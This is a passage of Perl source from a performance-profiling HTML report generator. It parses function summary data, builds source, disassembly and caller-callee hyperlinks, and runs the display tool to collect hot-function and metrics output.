          gp_message (&quot;debugM&quot;, $subr_name, $msg);

          $function_info[$i]{$field} = $value;
        }
##      $value =~ s/$white_space_regex//;

## \s*(\S+[a-zA-Z\s]*):\ *(.*)

###      my @input_fields   = split (&quot;:&quot;, $line);
###      my $no_of_elements = scalar (@input_fields);

###      gp_message (&quot;debugXL&quot;, $subr_name, &quot;#input_fields   = $#input_fields&quot;);
###      gp_message (&quot;debugXL&quot;, $subr_name, &quot;no_of_elements  = $no_of_elements&quot;);
###      gp_message (&quot;debugXL&quot;, $subr_name, &quot;input_fields[0] = $input_fields[0]&quot;);

###      if ($no_of_elements == 1)
#------------------------------------------------------------------------------
# No value
#------------------------------------------------------------------------------
###         {
###           $whatever = $input_fields[0];
###           $value    = &quot;&quot;;
###         }
###       elsif ($no_of_elements == 2)
###         {
### #------------------------------------------------------------------------------
### # Note that $value may consist of multiple fields (e.g. 1.651 ( 95.4%)).
### #------------------------------------------------------------------------------
###           $whatever = $input_fields[0];
###           $value    = $input_fields[1];
###         }
###       elsif ($no_of_elements == 3)
###         {
###           $whatever = $input_fields[0];
### 	  if ($whatever eq &quot;PC Address&quot;)
### #------------------------------------------------------------------------------
### # Must be an address field.  Restore the second colon.
### #------------------------------------------------------------------------------
### 	    {
###               $value = $input_fields[1] . &quot;:&quot; . $input_fields[2];
### 	    }
### 	  elsif ($whatever eq &quot;Mangled Name&quot;)
### #------------------------------------------------------------------------------
### # The mangled name includes a colon (:).  Just copy the entire string.
### #------------------------------------------------------------------------------
### 	    {
###               $value = $input_fields[2];
### 	    }
###         }
###       else
###         {
### 	  if ($whatever eq &quot;Aliases&quot;)
### #------------------------------------------------------------------------------
### # The mangled name includes a colon (:).  Just copy the entire string.
### #------------------------------------------------------------------------------
### 	    {
###               $value = $input_fields[2];
### 	    }
### 	  else
### 	    {
###               $msg = &quot;input line = &quot; . $line;
###               gp_message (&quot;debug&quot;, $subr_name, $msg);
###               for my $i (keys @input_fields)
###                 {
###                   $msg = &quot;input_fields[$i] = &quot; . $input_fields[$i];
###                   gp_message (&quot;debug&quot;, $subr_name, $msg);
###                 }
###               $msg = &quot;unexpected input: number of fields = &quot; . $no_of_elements;
###               gp_message (&quot;debug&quot;, $subr_name, $msg);
### ##              gp_message (&quot;assertion&quot;, $subr_name, $msg);
### 	    }
###        }
##      $function_info[$i]{$field} = $value;

#------------------------------------------------------------------------------
# TBD: Seems to be not used anymore and can most likely be removed. Check this.
#------------------------------------------------------------------------------
      if ($field =~ /Source File/)
        {
          if (!exists ($source_files{$value}))
            {
              $source_files{$value} = $TRUE;
              $num_source_files++;
            }
        }

      if ($field =~ /PC Address/)
        {
          my $segment;
          my $offset;
#------------------------------------------------------------------------------
# The format of the address is assumed to be the following 2:0x000070a8
# Note that the regex is pretty wide.  This is from the original code and
# could be made more specific:
#          if ($value =~ /\s*(\S+):(\S+)/)
#------------------------------------------------------------------------------
#          if ($value =~ /\s*(\S+):(\S+)/)
          if ($value =~ /\s*(\d+):0x([0-9a-zA-Z]+)/)
            {
              $segment = $1;
              $offset  = $2;
#------------------------------------------------------------------------------
# Convert to a base 10 number
#------------------------------------------------------------------------------
              $address_decimal = bigint::hex ($offset); # decimal
#------------------------------------------------------------------------------
# Construct the address field.  Note that we use the hex address here.
# For example @2:0x0003f280
#------------------------------------------------------------------------------
              $full_address_field = $segment.&quot;:0x&quot;.$offset;

              $function_info[$i]{&quot;addressobj&quot;}     = $address_decimal;
              $function_info[$i]{&quot;addressobjtext&quot;} = $full_address_field;
              $addressobjtextm{$full_address_field} = $i; # $RI
            }
          if (not exists ($function_address_and_index{$routine}{$value}))
            {
              $function_address_and_index{$routine}{$value} = $i;

              $msg  = &quot;function_address_and_index{$routine}{$value} = &quot;;
              $msg .= $function_address_and_index{$routine}{$value};
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }
          else
            {
              $msg  = &quot;function_info: $FSUMMARY_FILE: function $routine&quot;;
              $msg .= &quot; already has a PC Address&quot;;
              gp_message (&quot;debugXL&quot;, $subr_name, $msg);
            }

          $g_total_function_count++;
        }
    }
  close (FSUMMARY_FILE);

#------------------------------------------------------------------------------
# For every function in the function overview, set up an html structure with
# the various hyperlinks.
#------------------------------------------------------------------------------
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;augment function_info with alt_name&quot;);
  my $target_function;
  my $html_line;
  my $ftag;
  my $routine_length;
  my %html_source_functions = ();
  for my $i (keys @function_info)
    {
      $target_function = $function_info[$i]{&quot;routine&quot;};

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;i = $i target_function = $target_function&quot;);

      my $href_link;
##      $href_link  = &quot;&lt;a href=\&#039;file.&quot; . $i . &quot;.src.new.html#&quot;;
      $href_link  = &quot;&lt;a href=\&#039;file.&quot; . $i . &quot;.&quot;;
      $href_link .= $g_html_base_file_name{&quot;source&quot;};
      $href_link .= &quot;.html#&quot;;
      $href_link .= $function_info[$i]{&quot;tag_id&quot;};
      $href_link .= &quot;\&#039;&gt;source&lt;/a&gt;&quot;;
      $function_info[$i]{&quot;href_source&quot;} = $href_link;

      $href_link  = &quot;&lt;a href=\&#039;file.&quot; . $i . &quot;.&quot;;
      $href_link .= $g_html_base_file_name{&quot;disassembly&quot;};
      $href_link .= &quot;.html#&quot;;
      $href_link .= $function_info[$i]{&quot;tag_id&quot;};
      $href_link .= &quot;\&#039;&gt;disassembly&lt;/a&gt;&quot;;
      $function_info[$i]{&quot;href_disassembly&quot;} = $href_link;

      $href_link  = &quot;&lt;a href=\&#039;&quot;;
      $href_link .= $g_html_base_file_name{&quot;caller_callee&quot;};
      $href_link .= &quot;.html#&quot;;
      $href_link .= $function_info[$i]{&quot;tag_id&quot;};
      $href_link .= &quot;\&#039;&gt;caller-callee&lt;/a&gt;&quot;;
      $function_info[$i]{&quot;href_caller_callee&quot;} = $href_link;

      gp_message (&quot;debug&quot;, $subr_name, &quot;g_function_occurrences{$target_function} = $g_function_occurrences{$target_function}&quot;);

      if ($g_function_occurrences{$target_function} &gt; 1)
        {
#------------------------------------------------------------------------------
# In case a function occurs more than one time in the function overview, we
# add the load object and address offset info to make it unique.
#
# This forces us to update some entries in function_info too.
#------------------------------------------------------------------------------
          my $loadobj = $function_info[$i]{&quot;Load Object&quot;};
          my $address_field = $function_info[$i]{&quot;addressobjtext&quot;};
          my $address_offset;

#------------------------------------------------------------------------------
# The address field has the following format: @&lt;n&gt;:&lt;address_offset&gt;
# We only care about the address offset.
#------------------------------------------------------------------------------
          if ($address_field =~ /$get_hex_address_regex/)
            {
              $address_offset = $2;
            }
          else
            {
              my $msg = &quot;failed to extract the address offset from $address_field - use the full field&quot;;
              gp_message (&quot;warning&quot;, $subr_name, $msg);
              $address_offset = $address_field;
            }
          my $exe = get_basename ($loadobj);
          my $extra_field = &quot; (&lt;&quot; . $exe . &quot; $address_offset&quot; .&quot;&gt;)&quot;;
###          $target_function .= $extra_field;
          $function_info[$i]{&quot;alt_name&quot;} = $target_function . $extra_field;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_info[$i]{\&quot;alt_name\&quot;} = &quot; . $function_info[$i]{&quot;alt_name&quot;});

#------------------------------------------------------------------------------
# Store the length of the function name and get the tag id.
#------------------------------------------------------------------------------
          $function_info[$i]{&quot;function length&quot;} = length ($target_function . $extra_field);
          $function_info[$i]{&quot;tag_id&quot;} = create_function_tag ($i);

          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated function_info[$i]{&#039;routine&#039;} = $function_info[$i]{&#039;routine&#039;}&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated function_info[$i]{&#039;alt_name&#039;} = $function_info[$i]{&#039;alt_name&#039;}&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated function_info[$i]{&#039;function length&#039;} = $function_info[$i]{&#039;function length&#039;}&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;updated function_info[$i]{&#039;tag_id&#039;} = $function_info[$i]{&#039;tag_id&#039;}&quot;);
        }
    }
  gp_message (&quot;debug&quot;, $subr_name, &quot;augment function_info with alt_name completed&quot;);

#------------------------------------------------------------------------------
# Compute the maximum function name length.
#
# The maximum length is stored in %function_view_structure.
#------------------------------------------------------------------------------
  my $max_function_length = 0;
  for my $i (0 .. $#function_info)
    {
      $max_function_length = List::Util::max ($max_function_length, $function_info[$i]{&quot;function length&quot;});

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;function_info[$i]{\&quot;alt_name\&quot;} = &quot; . $function_info[$i]{&quot;alt_name&quot;} . &quot; length = &quot; . $function_info[$i]{&quot;function length&quot;});
    }

#------------------------------------------------------------------------------
# Define the name of the table and take the length into account, since it may
# be longer than the function name(s).
#------------------------------------------------------------------------------
  $function_view_structure{&quot;table name&quot;} = &quot;Function name&quot;;

  $max_function_length = max ($max_function_length, length ($function_view_structure{&quot;table name&quot;}));

  $function_view_structure{&quot;max function length&quot;} = $max_function_length;

#------------------------------------------------------------------------------
# Core loop that generates an HTML line for each function.  This line is
# stored in function_info.
#------------------------------------------------------------------------------
  my $top_of_table = $FALSE;
  for my $i (keys @function_info)
    {
      my $new_target_function;

      if (defined ($function_info[$i]{&quot;alt_name&quot;}))
        {
          $target_function = $function_info[$i]{&quot;alt_name&quot;};
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;retrieved function_info[$i]{&#039;alt_name&#039;} = $function_info[$i]{&#039;alt_name&#039;}&quot;);
        }
      else
        {
          my $msg = &quot;function_info[$i]{\&quot;alt_name\&quot;} is not defined&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }

      my $function_length  = $function_info[$i]{&quot;function length&quot;};
      my $number_of_blanks = $function_view_structure{&quot;max function length&quot;} - $function_length;

      my $spaces = &quot;&amp;nbsp;&amp;nbsp;&quot;;
      for my $i (1 .. $number_of_blanks)
        {
          $spaces .= &quot;&amp;nbsp;&quot;;
        }
      if ($target_function eq &quot;&lt;Total&gt;&quot;)
#------------------------------------------------------------------------------
# &lt;Total&gt; is a pseudo function and there is no source, or disassembly for it.
# We could add a link to the caller-callee part, but this is currently not
# done.
#------------------------------------------------------------------------------
        {
          $top_of_table = $TRUE;
          $html_line  = &quot;&amp;nbsp;&lt;b&gt;&amp;lt;Total&gt;&lt;/b&gt;&quot;;
        }
      else
        {
#------------------------------------------------------------------------------
# Add the * symbol as a marker in case the same function occurs multiple times.
# Otherwise insert a space.
#------------------------------------------------------------------------------
          my $base_function_name = $function_info[$i]{&quot;routine&quot;};
          if (exists ($g_function_occurrences{$base_function_name}))
            {
              if ($g_function_occurrences{$base_function_name} &gt; 1)
                {
                  $new_target_function = &quot;*&quot; . $target_function;
                }
              else
                {
                  $new_target_function = &quot;&amp;nbsp;&quot; . $target_function;
                }
            }
          else
            {
              my $msg = &quot;g_function_occurrences{$base_function_name} does not exist&quot;;
              gp_message (&quot;assertion&quot;, $subr_name, $msg);
            }

#------------------------------------------------------------------------------
# Create the block with the function name, in boldface, plus the links to the
# source, disassembly and caller-callee views.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
          $new_target_function =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

          $html_line  = &quot;&lt;b&gt;$new_target_function&lt;/b&gt;&quot; . $spaces;
          $html_line .= $function_info[$i]{&quot;href_source&quot;}      . &quot;&amp;nbsp;&quot;;
          $html_line .= $function_info[$i]{&quot;href_disassembly&quot;} . &quot;&amp;nbsp;&quot;;
          $html_line .= $function_info[$i]{&quot;href_caller_callee&quot;};
        }

      $msg = &quot;target_function = $target_function html_line = $html_line&quot;;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
      $html_source_functions{$target_function} = $html_line;

#------------------------------------------------------------------------------
# TBD: In the future we want to re-use this block elsewhere.
#------------------------------------------------------------------------------
      $function_info[$i]{&quot;html function block&quot;} = $html_line;
    }

  for my $i (keys %html_source_functions)
    {
      $msg = &quot;html_source_functions{$i} = $html_source_functions{$i}&quot;;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }
  for my $i (keys @function_info)
    {
      $msg  = &quot;function_info[$i]{\&quot;html function block\&quot;} = &quot;;
      $msg .= $function_info[$i]{&quot;html function block&quot;};
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Print the key data structure %function_info.  This is a nested hash.
#------------------------------------------------------------------------------
  for my $i (0 .. $#function_info)
    {
      for my $role (sort keys %{ $function_info[$i] })
        {
           $msg  = &quot;on return: function_info[$i]{$role} = &quot;;
           $msg .= $function_info[$i]{$role};
           gp_message (&quot;debugM&quot;, $subr_name, $msg);
        }
    }
#------------------------------------------------------------------------------
# Print the data structure %function_address_and_index. This is a nested hash.
#------------------------------------------------------------------------------
  for my $F (keys %function_address_and_index)
    {
      for my $fields (sort keys %{ $function_address_and_index{$F} })
        {
           $msg  = &quot;on return: function_address_and_index{$F}{$fields} = &quot;;
           $msg .= $function_address_and_index{$F}{$fields};
           gp_message (&quot;debugM&quot;, $subr_name, $msg);
        }
    }
#------------------------------------------------------------------------------
# Print the data structure %functions_index. This is a hash with an arrray.
#------------------------------------------------------------------------------
  for my $F (keys %functions_index)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;on return: functions_index{$F} = @{ $functions_index{$F} }&quot;);
# alt code      for my $i (0 .. $#{ $functions_index{$F} } )
# alt code        {
# alt code           gp_message (&quot;debug&quot;, $subr_name, &quot;on return: \$functions_index{$F} = $functions_index{$F}[$i]&quot;);
# alt code        }
    }

#------------------------------------------------------------------------------
# Print the data structure %function_view_structure. This is a hash.
#------------------------------------------------------------------------------
  for my $F (keys %function_view_structure)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;on return: function_view_structure{$F} = $function_view_structure{$F}&quot;);
    }

#------------------------------------------------------------------------------
# Print the data structure %g_function_occurrences and use this structure to
# gather statistics about the functions.
#
# TBD: add this info to the experiment data overview.
#------------------------------------------------------------------------------
  $number_of_unique_functions = 0;
  $number_of_non_unique_functions = 0;
  for my $F (keys %g_function_occurrences)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;on return: g_function_occurrences{$F} = $g_function_occurrences{$F}&quot;);
      if ($g_function_occurrences{$F} == 1)
        {
          $number_of_unique_functions++;
        }
      else
        {
          $number_of_non_unique_functions++;
        }
    }

  for my $i (keys %g_map_function_to_index)
    {
      my $n = scalar (@{ $g_map_function_to_index{$i} });
      gp_message (&quot;debug&quot;, $subr_name, &quot;on return: g_map_function_to_index [$n] : $i =&gt; @{ $g_map_function_to_index{$i} }&quot;);
    }

#------------------------------------------------------------------------------
# TBD: Include this info on the page with experiment data.  Include names
# with multiple occurrences.
#------------------------------------------------------------------------------
  $msg = &quot;Number of source files                            : &quot; .
         $num_source_files;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;Total number of functions                         : &quot; .
         $g_total_function_count;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;Number of functions with a unique name            : &quot; .
         $number_of_unique_functions;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;Number of functions with more than one occurrence : &quot; .
         $number_of_non_unique_functions;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  my $multi_occurrences = $g_total_function_count -
                          $number_of_unique_functions;
  $msg = &quot;Total number of multiple occurences of the same function name : &quot; .
         $multi_occurrences;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  return (\@function_info, \%function_address_and_index, \%addressobjtextm,
          \%LINUX_vDSO, \%function_view_structure);

} #-- End of subroutine get_function_info
#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub get_hdr_info
{
  my $subr_name = get_my_name ();

  my ($outputdir, $file) = @_;

  state $first_call = $TRUE;

  my $ASORTFILE;
  my @HDR;
  my $HDR;
  my $metric;
  my $line;
  my $ignore_directory;
  my $ignore_suffix;
  my $number_of_header_lines;

#------------------------------------------------------------------------------
# Add a &quot;/&quot; to simplify the construction of path names in the remainder.
#------------------------------------------------------------------------------
  $outputdir = append_forward_slash ($outputdir);

# Could get more header info from
# &lt;metric&gt;[e.bit_fcount].sort.func file - etc.

  gp_message (&quot;debug&quot;, $subr_name, &quot;input file-&gt;$file&lt;-&quot;);
#-----------------------------------------------
  if ($file eq $outputdir.&quot;calls.sort.func&quot;)
    {
      $ASORTFILE=$outputdir.&quot;calls&quot;;
      $metric = &quot;calls&quot;
    }
  elsif ($file eq $outputdir.&quot;calltree.sort.func&quot;)
    {
      $ASORTFILE=$outputdir.&quot;calltree&quot;;
      $metric = &quot;calltree&quot;
    }
  elsif ($file eq $outputdir.&quot;functions.sort.func&quot;)
    {
      $ASORTFILE=$outputdir.&quot;functions.func&quot;;
      $metric = &quot;functions&quot;;
    }
  else
    {
      $ASORTFILE = $file;
#      $metric = basename ($file,&quot;.sort.func&quot;);
      ($metric, $ignore_directory,  $ignore_suffix) = fileparse ($file, &quot;.sort.func&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;ignore_directory = $ignore_directory ignore_suffix = $ignore_suffix&quot;);
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;file = $file metric = $metric&quot;);

  open (ASORTFILE,&quot;&lt;&quot;, $ASORTFILE)
    or die (&quot;$subr_name - unable to open file $ASORTFILE for reading: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $ASORTFILE for reading&quot;);

  $number_of_header_lines = 0;
  while (&lt;ASORTFILE&gt;)
    {
      $line =$_;
      chomp ($line);

      if ($line  =~ /^Current/)
        {
          next;
        }
      if ($line  =~ /^Functions/)
        {
          next;
        }
      if ($line  =~ /^Callers/)
        {
          next;
        }
      if ($line  =~ /^\s*$/)
        {
          next;
        }
      if (!($line  =~ /^\s*\d/))
        {
          $HDR[$number_of_header_lines] = $line;
          $number_of_header_lines++;
          next;
        }
      last;
     }
  close (ASORTFILE);
#------------------------------------------------------------------------------
# Ruud - Fixed a bug. The output should not be appended, but overwritten.
# open (HI,&quot;&gt;&gt;$OUTPUTDIR&quot;.&quot;hdrinfo&quot;);
#------------------------------------------------------------------------------
  my $outfile = $outputdir.&quot;hdrinfo&quot;;

  if ($first_call)
    {
      $first_call = $FALSE;
      open (HI ,&quot;&gt;&quot;, $outfile)
        or die (&quot;$subr_name - unable to open file $outfile for writing: &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile for writing&quot;);
    }
  else
    {
      open (HI ,&quot;&gt;&gt;&quot;, $outfile)
        or die (&quot;$subr_name - unable to open file $outfile in append mode: &#039;$!&#039;&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;opened file $outfile in append mode&quot;);
    }

  print HI &quot;\#$metric hdrlines=$number_of_header_lines\n&quot;;
  my $len = 0;
  for $HDR (@HDR)
    {
      print HI &quot;$HDR\n&quot;;
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;HDR = $HDR\n&quot;);
    }
  close (HI);
  if ($first_call)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;wrote file $outfile&quot;);
    }
  else
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;updated file $outfile&quot;);
    }
#-----------------------------------------------

} #-- End of subroutine get_hdr_info

#------------------------------------------------------------------------------
# Get the home directory and the location(s) of the configuration file on the
# current system.
#------------------------------------------------------------------------------
sub get_home_dir_and_rc_path
{
  my $subr_name = get_my_name ();

  my ($rc_file_name) = @_;

  my @rc_file_paths;
  my $target_cmd;
  my $home_dir;
  my $error_code;

  $target_cmd  = $g_mapped_cmds{&quot;printenv&quot;} . &quot; HOME&quot;;

  ($error_code, $home_dir) = execute_system_cmd ($target_cmd);

  if ($error_code != 0)
    {
      my $msg = &quot;cannot find a setting for HOME - please set this&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }
  else

#------------------------------------------------------------------------------
# The home directory is known and we can define the locations for the
# configuration file.
#------------------------------------------------------------------------------
    {
      @rc_file_paths = (&quot;.&quot;, &quot;$home_dir&quot;);
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;upon return: \@rc_file_paths = @rc_file_paths&quot;);

  return ($home_dir, \@rc_file_paths);

} #-- End of subroutine get_home_dir_and_rc_path

#------------------------------------------------------------------------------
# This subroutine generates a list with the hot functions.
#------------------------------------------------------------------------------
sub get_hot_functions
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref, $summary_metrics, $input_string) = @_;

  my @exp_dir_list = @{ $exp_dir_list_ref };

  my $cmd_output;
  my $error_code;
  my $expr_name;
  my $first_metric;
  my $gp_display_text_cmd;
  my $ignore_value;

  my @sort_fields = ();

  $expr_name = join (&quot; &quot;, @exp_dir_list);

  gp_message (&quot;debug&quot;, $subr_name, &quot;expr_name = $expr_name&quot;);

  my $outputdir = append_forward_slash ($input_string);

  my $script_file   = $outputdir.&quot;gp-fsummary.script&quot;;
  my $outfile       = $outputdir.&quot;gp-fsummary.out&quot;;
  my $result_file   = $outputdir.&quot;gp-fsummary.stderr&quot;;
  my $gp_error_file = $outputdir.$g_gp_error_logfile;

  @sort_fields = split (&quot;:&quot;, $summary_metrics);

#------------------------------------------------------------------------------
# This is extremely unlikely to happen, but if so, it is a fatal error.
#------------------------------------------------------------------------------
  my $number_of_elements = scalar (@sort_fields);

  gp_message (&quot;debug&quot;, $subr_name, &quot;number of fields in summary_metrics = $number_of_elements&quot;);

  if ($number_of_elements == 0)
    {
      my $msg = &quot;there are $number_of_elements in the metrics list&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Get the summary of the hot functions
#------------------------------------------------------------------------------
  open (SCRIPT, &quot;&gt;&quot;, $script_file)
    or die (&quot;$subr_name - unable to open script file $script_file for writing: &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened script file $script_file for writing&quot;);

#------------------------------------------------------------------------------
# TBD: Check what this is about:
# Attributed User CPU Time=a.user : for calltree - see P37 in manual
#------------------------------------------------------------------------------
  print SCRIPT &quot;# limit 0\n&quot;;
  print SCRIPT &quot;limit 0\n&quot;;
  print SCRIPT &quot;# metrics $summary_metrics\n&quot;;
  print SCRIPT &quot;metrics $summary_metrics\n&quot;;
  print SCRIPT &quot;# thread_select all\n&quot;;
  print SCRIPT &quot;thread_select all\n&quot;;

#------------------------------------------------------------------------------
# Use first out of summary metrics as first (it doesn&#039;t matter which one)
# $first_metric = (split /:/,$summary_metrics)[0];
#------------------------------------------------------------------------------

  $first_metric = $sort_fields[0];

  print SCRIPT &quot;# outfile $outfile\n&quot;;
  print SCRIPT &quot;outfile $outfile\n&quot;;
  print SCRIPT &quot;# sort $first_metric\n&quot;;
  print SCRIPT &quot;sort $first_metric\n&quot;;
  print SCRIPT &quot;# fsummary\n&quot;;
  print SCRIPT &quot;fsummary\n&quot;;

  close SCRIPT;

  my $gp_functions_cmd = &quot;$GP_DISPLAY_TEXT -viewmode machine -compare off -script $script_file $expr_name&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;executing $GP_DISPLAY_TEXT to get the list of functions&quot;);

  $gp_display_text_cmd = &quot;$gp_functions_cmd 1&gt; $result_file 2&gt;&gt; $gp_error_file&quot;;

  ($error_code, $cmd_output) = execute_system_cmd ($gp_display_text_cmd);

  if ($error_code != 0)
    {
      $ignore_value = msg_display_text_failure ($gp_display_text_cmd,
                                                $error_code,
                                                $gp_error_file);
      gp_message (&quot;abort&quot;, $subr_name, &quot;execution terminated&quot;);
      my $msg = &quot;error code = $error_code - failure executing command $gp_display_text_cmd&quot;;
      gp_message (&quot;abort&quot;, $subr_name, $msg);
    }

  return ($outfile,\@sort_fields);

} #-- End of subroutine get_hot_functions

#------------------------------------------------------------------------------
# For a given function name, return the index into &quot;function_info&quot;.  This
# index gives access to all the meta data for the input function.
#------------------------------------------------------------------------------
sub get_index_function_info
{
  my $subr_name = get_my_name ();

  my ($routine_ref, $hex_address_ref, $function_info_ref) = @_;

  my $routine     = ${ $routine_ref };
  my $hex_address = ${ $hex_address_ref };
  my @function_info = @{ $function_info_ref };

  my $alt_name = $routine;
  my $current_address = $hex_address;
  my $found_a_match;
  my $index_into_function_info;
  my $msg;
  my $target_tag;

#------------------------------------------------------------------------------
# Check if this function has multiple occurrences.
#------------------------------------------------------------------------------
  $msg = &quot;check for multiple occurrences&quot;;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);
  $msg = &quot;target routine name = &quot; . $routine;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);

  if (not exists ($g_multi_count_function{$routine}))
    {
#------------------------------------------------------------------------------
# There is only a single occurrence and it is straightforward to get the tag.
#--------------------------------------------------------------------------
##          push (@final_function_names, $routine);
## KANWEG      for my $key (sort keys %g_map_function_to_index)
## KANWEG        {
## KANWEG          $msg = &quot;g_map_function_to_index{&quot;. $key . &quot;} = &quot; . $g_map_function_to_index{$key};
## KANWEG          gp_message (&quot;debugXL&quot;, $subr_name, $msg);
## KANWEG        }
      if (exists ($g_map_function_to_index{$routine}))
        {
          $index_into_function_info = $g_map_function_to_index{$routine}[0];
        }
      else
        {
          my $msg = &quot;no entry for $routine in g_map_function_to_index&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }
  else
    {
#------------------------------------------------------------------------------
# The function name has more than one occurrence and we need to find the one
# that matches with the address.
#------------------------------------------------------------------------------
      $found_a_match = $FALSE;
      gp_message (&quot;debug&quot;, $subr_name, &quot;$routine: occurrences = $g_function_occurrences{$routine}&quot;);
      for my $ref (keys @{ $g_map_function_to_index{$routine} })
        {
          my $ref_index   = $g_map_function_to_index{$routine}[$ref];
          my $addr_offset = $function_info[$ref_index]{&quot;addressobjtext&quot;};

          gp_message (&quot;debug&quot;, $subr_name, &quot;$routine: retrieving duplicate entry at ref_index = $ref_index&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;$routine: addr_offset = $addr_offset&quot;);
 
#------------------------------------------------------------------------------
# TBD: Do this substitution when storing &quot;addressobjtext&quot; in function_info.
#------------------------------------------------------------------------------
          $addr_offset =~ s/^@\d+://;
          gp_message (&quot;debug&quot;, $subr_name, &quot;$routine: addr_offset = $addr_offset&quot;);
          if ($addr_offset eq $current_address)
            {
              $found_a_match = $TRUE;
              $index_into_function_info = $ref_index;
              last;
            }
        }

#------------------------------------------------------------------------------
# If there is no match, something has gone really wrong and we bail out.
#------------------------------------------------------------------------------
      if (not $found_a_match)
        {
          my $msg = &quot;cannot find the mapping in function_info for function $routine&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }

  return (\$index_into_function_info);

} #-- End of subroutine get_index_function_info

#------------------------------------------------------------------------------
# Get the setting for LANG, or assign a default if it is not set.
#------------------------------------------------------------------------------
sub get_LANG_setting
{
  my $subr_name = get_my_name ();

  my $error_code;
  my $lang_setting;
  my $target_cmd;
  my $command_string;
  my $LANG;

  $target_cmd = $g_mapped_cmds{&quot;printenv&quot;};
#------------------------------------------------------------------------------
# Use the printenv command to get the settings for LANG.
#------------------------------------------------------------------------------
  if ($target_cmd eq &quot;road to nowhere&quot;)
    {
      $error_code = 1;
    }
  else
    {
      $command_string = $target_cmd . &quot; LANG&quot;;
      ($error_code, $lang_setting) = execute_system_cmd ($command_string);
    }

  if ($error_code == 0)
    {
      chomp ($lang_setting);
      $LANG = $lang_setting;
    }
  else
    {
      $LANG = $g_default_setting_lang;
      my $msg = &quot;cannot find a setting for LANG - use a default setting&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
    }

  return ($LANG);

} #-- End of subroutine get_LANG_setting

#------------------------------------------------------------------------------
# This subroutine gathers the basic information about the metrics.
#------------------------------------------------------------------------------
sub get_metrics_data
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref, $outputdir, $outfile1, $outfile2, $error_file) = @_;

  my @exp_dir_list = @{ $exp_dir_list_ref };

  my $cmd_options;
  my $cmd_output;
  my $error_code;
  my $expr_name;
  my $metrics_cmd;
  my $metrics_output;
  my $target_cmd;

  $expr_name = join (&quot; &quot;, @exp_dir_list);

  gp_message (&quot;debug&quot;, $subr_name, &quot;expr_name = $expr_name&quot;);

#------------------------------------------------------------------------------
# Execute the $GP_DISPLAY_TEXT tool with the appropriate options.  The goal is
# to get all the output in files $outfile1 and $outfile2.  These are then
# parsed.
#------------------------------------------------------------------------------
  $cmd_options   = &quot; -viewmode machine -compare off -thread_select all&quot;;
  $cmd_options  .= &quot; -outfile $outfile2&quot;;
  $cmd_options  .= &quot; -fsingle &#039;&lt;Total&gt;&#039; -metric_list $expr_name&quot;;

  $metrics_cmd   = &quot;$GP_DISPLAY_TEXT $cmd_options 1&gt; $outfile1 2&gt; $error_file&quot;;

  gp_message (&quot;debug&quot;, $subr_name, &quot;command used to gather the information:&quot;);
  gp_message (&quot;debug&quot;, $subr_name, $metrics_cmd);

  ($error_code, $metrics_output) = execute_system_cmd ($metrics_cmd);

#------------------------------------------------------------------------------
# Error handling.  Any error that occurred is fatal and execution
# should be aborted by the caller.
#------------------------------------------------------------------------------
  if ($error_code == 0)
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;metrics data in files $outfile1 and $outfile2&quot;);
    }
  else
    {
      $target_cmd  = $g_mapped_cmds{&quot;cat&quot;} . &quot; $error_file&quot;;

      ($error_code, $cmd_output) = execute_system_cmd ($target_cmd);

      chomp ($cmd_output);

      gp_message (&quot;error&quot;, $subr_name, &quot;contents of file $error_file:&quot;);
      gp_message (&quot;error&quot;, $subr_name, $cmd_output);
    }

  return ($error_code);

} #-- End of subroutine get_metrics_data

#------------------------------------------------------------------------------
